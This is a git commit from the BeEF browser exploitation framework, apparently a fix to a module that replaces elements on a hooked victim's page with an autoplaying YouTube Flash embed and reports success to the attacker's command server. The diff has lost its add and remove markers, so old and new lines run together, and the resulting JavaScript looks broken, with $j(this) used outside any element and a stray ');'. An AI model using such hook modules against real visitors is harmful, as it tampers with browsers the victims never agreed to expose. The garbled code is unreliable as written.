Fixes issue 273. Safari seemed to be working fine, however I have cleaned up the JavaScript code.
git-svn-id: https://beef.googlecode.com/svn/trunk@932 b87d56ec-f9c0-11de-8c8a-61c5e9addfc9
This commit is contained in:
@@ -1,15 +1,8 @@
|
||||
beef.execute(function() {
|
||||
|
||||
$j('<%= @jquery_selector %>').each(
|
||||
function ( intIndex ) {
|
||||
|
||||
var width = $j(this).css('width');
|
||||
var height = $j(this).css('height');
|
||||
|
||||
$j(this).replaceWith('<embed src="http://www.youtube.com/v/<%= @youtube_id %>?fs=1&hl=en_US&autoplay=1" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="' + width + '" height="' + height + '">');
|
||||
|
||||
}
|
||||
)
|
||||
|
||||
var width = $j(this).css('width');
|
||||
var height = $j(this).css('height');
|
||||
$j(this).replaceWith('<embed src="http://www.youtube.com/v/<%= @youtube_id %>?fs=1&hl=en_US&autoplay=1" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="' + width + '" height="' + height + '">');
|
||||
);
|
||||
beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=Replace Video Succesfull");
|
||||
});
|
||||
|
||||
Reference in New Issue
Block a user